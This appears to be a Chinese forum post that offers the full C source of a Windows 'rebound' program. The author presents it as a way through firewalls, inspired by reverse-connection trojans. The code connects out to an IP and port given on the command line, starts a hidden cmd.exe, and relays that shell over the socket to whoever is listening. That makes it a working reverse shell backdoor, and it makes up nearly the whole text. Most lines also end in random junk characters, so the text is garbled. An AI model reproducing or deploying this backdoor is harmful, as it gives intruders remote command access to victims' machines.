这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _!03;zrO
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/* ============================== m-AF&( ;K
Rebound port in Windows NT FU3K?A
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By wind,2006/7 .k,j64
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===============================*/ c{MoeIG)v@
#include (;l@d|g
#include #rlgeHG!fs
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#pragma comment(lib,"wsock32.lib") BsQ;`2
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void OutputShell(); o1.~g'!^
SOCKET sClient; 4D?h}U /
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g3tE.!a5-
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void main(int argc,char **argv) {"ST
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{ )eyzHB,H
WSADATA stWsaData; U]3!"+Y1P
int nRet; hd)Jq'MCS
SOCKADDR_IN stSaiClient,stSaiServer; L/8oqO|
*()['c#CC
if(argc != 3) k~>(XG[x&
{ C%o|}i v"
printf("Useage:\n\rRebound DestIP DestPort\n"); mU/o%|h
return; *g(d}C!
} s@\3|e5g
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WSAStartup(MAKEWORD(2,2),&stWsaData); `|'w]rj:"+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H/D=$)3op
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stSaiClient.sin_family = AF_INET; j6qtR$l|
stSaiClient.sin_port = htons(0); 7V"?o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N<)CG,/w[M
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'UhoKb_p
{ V[tebv!
printf("Bind Socket Failed!\n"); YdhTjvx
return; X7*F~LFrj
} k~tEUsv
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stSaiServer.sin_family = AF_INET; <o(;~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t<!m4Yd|#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fd)8lK[KJ"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qed_ PsI
{ 7
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printf("Connect Error!"); :5k* kx#y
return; q[$>\Nfg>B
} ytcLx77`:
OutputShell(); <XeDJ8
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} N^;lp<{6?
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void OutputShell() iXWHI3
{ uKJ:)oyaCP
char szBuff[1024]; 4$Ai!a
SECURITY_ATTRIBUTES stSecurityAttributes; B{Cm`f8E
OSVERSIONINFO stOsversionInfo; R$:-~<O
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @@Q4{o
STARTUPINFO stStartupInfo; zIc6L3w$
char *szShell; 7P{= Pv+
PROCESS_INFORMATION stProcessInformation; 6r~9$IM
unsigned long lBytesRead; b^W&-Hh
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !:+U-mb*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P
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stSecurityAttributes.lpSecurityDescriptor = 0; Z518J46o
stSecurityAttributes.bInheritHandle = TRUE; [+[W\6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ufL,Kq4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g#I`P&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 48xgl1R(j
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >k
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stStartupInfo.wShowWindow = SW_HIDE; ?'V78N sA
stStartupInfo.hStdInput = hReadPipe; RRO@r}A!y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 01n!T2;yW}
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GetVersionEx(&stOsversionInfo); +Nn >*sz
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switch(stOsversionInfo.dwPlatformId) 1]}\h]*
{ ~A0AB
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case 1: K'&,]r#
szShell = "command.com"; WyV4p
break; r9f- [wC
default: \9+,ynJH8z
szShell = "cmd.exe"; dX?j/M-
break; G]B0LUT6c
} >\JPX
oIrc))j,$
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ckX8eg!f
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send(sClient,szMsg,77,0); ,88B@a
while(1) dz#"9i5b
{ oCo~,~kTR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .\bJ,of9
if(lBytesRead) dOD(<
{ lr&2,p<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AG >D,6Y
send(sClient,szBuff,lBytesRead,0); tN{0C/B9
} l&H-<Z.8m
else {A}T^q!m]
{ <(E)M@2
lBytesRead=recv(sClient,szBuff,1024,0); uz8eS'8
if(lBytesRead<=0) break; i?_Q@uA~<:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mLq0;uGL|
} P~(&lu/;P
} :$Cm]RZ
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return; " lD -*e4
}